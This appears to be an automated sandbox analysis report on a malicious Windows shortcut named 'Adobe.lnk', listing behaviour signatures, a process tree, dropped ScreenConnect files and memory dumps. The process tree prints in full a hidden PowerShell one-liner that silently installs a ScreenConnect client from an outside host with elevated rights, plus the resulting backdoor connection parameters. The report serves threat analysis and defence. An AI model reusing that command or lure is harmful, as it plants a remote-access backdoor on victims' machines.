Analysis

  • max time kernel
    298s
  • max time network
    303s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 16:18

General

  • Target
    Adobe.lnk
  • Size 2KB
  • Sample260808-tr2kmst1hw
  • SHA256 4fe5f30bb6e8f770e5fc316149665e46d34464c65c2477c87d740b439deb4357
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Adobe.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process msiexec.exe -ArgumentList '/i https://geesbud.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest /quiet /norestart' -Verb RunAs"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\system32\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i https://geesbud.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest /quiet /norestart
        3⤵
        • Use of msiexec (install) with remote resource
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5220
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B8961568BD20DC0E786483115746F1E7
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI36D6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240728109 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4124
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6765584FFE198A42F4281817CA68D353 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5788
  • C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=geesbud.com&p=8041&s=8a397bad-3de7-45cc-854d-5b471bc65695&k=BgIAAACkAABSU0ExAAgAAAEAAQC9Rcz3gFF%2fGGHMR%2fgx79w3BjxMv51D63qs7givXJ8%2fIK9YcYfUv%2bDYb2ZaTZ8HMCqbqi5wfPeSnk9RxYK9Y7Txac6An%2b5z3kFjz7XfpvJohKRpNDylk8Pe1pQZ4CB7UHqTrNsBINJeZ%2fMJ0Ab%2beraw%2fx12p8XQX0UpWaxy83llvjpCbK9sJmRYhGCb%2brwu2ZZUDngLF5Zy2x5um2jVJY9rRRXxVfotd2trYs9LkeIrvU9q1v9CIwaFwjLMJnpy30eFC5NpGcofIdanWepOX%2fRBLw%2b3fzezIrzOeRJBv0%2bgVKjdaApIaTOpaiKxtPWXi61CfYJrgUVLPsXZnnAknGaq"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2668
    • C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe" "RunRole" "10b53a56-9a5d-4b4c-ac47-589800a0d45c" "User"
      2⤵
      • Executes dropped EXE
      PID:6040
    • C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe" "RunRole" "60b245a7-8209-4626-a2a5-ac24e0f8182c" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:716
    • C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe" "RunRole" "ab8094c2-6316-4f34-8b6e-4788ba87a568" "System"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      • Suspicious behavior: GetForegroundWindowSpam
      PID:5504

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e593dad.rbs

        • Path C:\Config.Msi\e593dad.rbs
        • Size 214KB
        • SHA256 ec9267987fb1ed83b5733ebc4fbae2ed0802ed9e1090c0ed98f45fc0930c6ee6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\Client.Override.resources
        • Size 32KB
        • SHA256 ac041e515b6502abd8ff9e6e3bf70d18b31664428793eae9404093f1c2b7d8fe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\app.config
        • Size 1KB
        • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0beabbefeb8d3e76)\system.config
        • Size 941B
        • SHA256 78571f6972796942e8466d4522e8cf6b80abcf20115434f60e01e4148445f1c4
        • MD5 SHA1 SHA512 TLSH

        MSI2A14.tmp

        • Path C:\Windows\Installer\MSI2A14.tmp
        • Size 12.9MB
        • SHA256 06b8407a2b4b3a896b3969868910c8ef2d996ec0da75b1237614077e4a22e0cc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI36D6.tmp

        • Path C:\Windows\Installer\MSI36D6.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI36D6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI36D6.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI36D6.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI36D6.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI3EE7.tmp

        • Path C:\Windows\Installer\MSI3EE7.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2668-98-0x0000000003C60000-0x0000000003C78000-memory.dmp

        memory/2668-124-0x0000000003F20000-0x0000000003F56000-memory.dmp

        memory/2668-120-0x0000000003ED0000-0x0000000003F20000-memory.dmp

        memory/2668-127-0x0000000004140000-0x0000000004181000-memory.dmp

        memory/2668-125-0x00000000041E0000-0x0000000004272000-memory.dmp

        memory/2668-129-0x00000000043D0000-0x00000000044A5000-memory.dmp

        memory/4124-49-0x0000000003780000-0x000000000378A000-memory.dmp

        memory/4124-45-0x0000000003740000-0x000000000376E000-memory.dmp

        memory/4124-53-0x00000000058F0000-0x000000000597C000-memory.dmp

        memory/4124-58-0x00000000062A0000-0x000000000685A000-memory.dmp

        memory/4124-57-0x0000000005B30000-0x0000000005CDC000-memory.dmp

        memory/4832-10-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-14-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-12-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-11-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-2-0x00007FF845DBF000-0x00007FF845DC0000-memory.dmp

        memory/4832-17-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-15-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-8-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-7-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-6-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-5-0x00000239EE200000-0x00000239EE222000-memory.dmp

        memory/4832-9-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/4832-13-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

        memory/5504-149-0x0000000180000000-0x0000000180055000-memory.dmp

        memory/6040-140-0x0000000000CF0000-0x0000000000D26000-memory.dmp

        memory/6040-142-0x000000001B610000-0x000000001B7BC000-memory.dmp

        memory/6040-141-0x000000001B3D0000-0x000000001B45C000-memory.dmp

        memory/6040-139-0x0000000000380000-0x0000000000418000-memory.dmp

        memory/6040-143-0x000000001B7C0000-0x000000001B948000-memory.dmp

        memory/6040-146-0x0000000002830000-0x0000000002871000-memory.dmp

        memory/6040-145-0x0000000002810000-0x0000000002828000-memory.dmp

        memory/6040-144-0x0000000000C90000-0x0000000000CA8000-memory.dmp